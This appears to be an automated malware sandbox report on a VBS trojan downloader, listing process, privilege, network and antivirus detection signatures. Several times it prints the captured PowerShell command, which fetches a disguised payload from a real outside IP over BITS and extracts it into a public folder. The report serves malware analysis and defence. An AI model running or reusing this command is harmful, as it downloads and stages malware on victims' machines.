cmdline	powershell.exe -NoLogo -NoProfile -Command "Start-BitsTransfer -Source 'http://212.70.149.205:2020/c.jpg' -Destination 'C:\Users\Public\bbbb.zip'; Expand-Archive -Path 'C:\Users\Public\bbbb.zip' -DestinationPath 'C:\Users\Public\'"

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW July 7, 2024, 7:08 p.m.	show_type: 0 filepath_r: powershell.exe parameters: -NoLogo -NoProfile -Command "Start-BitsTransfer -Source 'http://212.70.149.205:2020/c.jpg' -Destination 'C:\Users\Public\bbbb.zip'; Expand-Archive -Path 'C:\Users\Public\bbbb.zip' -DestinationPath 'C:\Users\Public\'" filepath: powershell.exe	1	1	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW July 7, 2024, 7:08 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Communicates with host for which no DNS query was performed (1 event)

host

77.91.77.82

One or more non-whitelisted processes were created (3 events)

parent_process	wscript.exe	martian_process	C:\Users\Public\Auto.vbs ""
parent_process	wscript.exe	martian_process	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -Command "Start-BitsTransfer -Source 'http://212.70.149.205:2020/c.jpg' -Destination 'C:\Users\Public\bbbb.zip'; Expand-Archive -Path 'C:\Users\Public\bbbb.zip' -DestinationPath 'C:\Users\Public\'"
parent_process	wscript.exe	martian_process	powershell.exe -NoLogo -NoProfile -Command "Start-BitsTransfer -Source 'http://212.70.149.205:2020/c.jpg' -Destination 'C:\Users\Public\bbbb.zip'; Expand-Archive -Path 'C:\Users\Public\bbbb.zip' -DestinationPath 'C:\Users\Public\'"

Creates a suspicious Powershell process (4 events)

option	-noprofile	value	Does not load current user profile
option	-nologo	value	Hides the copyright banner when PowerShell launches
option	-noprofile	value	Does not load current user profile
option	-nologo	value	Hides the copyright banner when PowerShell launches

File has been identified by 21 AntiVirus engines on VirusTotal as malicious (21 events)

ALYac	Trojan.GenericKD.73089810
VIPRE	Trojan.GenericKD.73089810
Arcabit	Trojan.Generic.D45B4312
VirIT	Trojan.VBS.Agent.GVG
Symantec	Scr.Malcode!gen
ESET-NOD32	VBS/TrojanDownloader.Agent.ZNO
Avast	Script:SNH-gen [Drp]
Kaspersky	HEUR:Trojan-Downloader.Script.Generic
BitDefender	Trojan.GenericKD.73089810
MicroWorld-eScan	Trojan.GenericKD.73089810
Rising	Downloader.Agent/VBS!8.10EA5 (TOPIS:E0:1HMBnflrqzC)
Emsisoft	Trojan.GenericKD.73089810 (B)
FireEye	Trojan.GenericKD.73089810
Ikarus	Win32.Outbreak
Google	Detected
Microsoft	Trojan:Script/Wacatac.B!ml
ZoneAlarm	HEUR:Trojan-Downloader.Script.Generic
GData	Script.Trojan.Agent.F3F9PL
MAX	malware (ai score=84)
AVG	Script:SNH-gen [Drp]
alibabacloud	Trojan[downloader]:Win/Generic.Gen

The processes wscript.exe, powershell.exe wrote an executable file to disk which it then attempted to execute (20 events)

file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

63vN2.txt.vbs

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All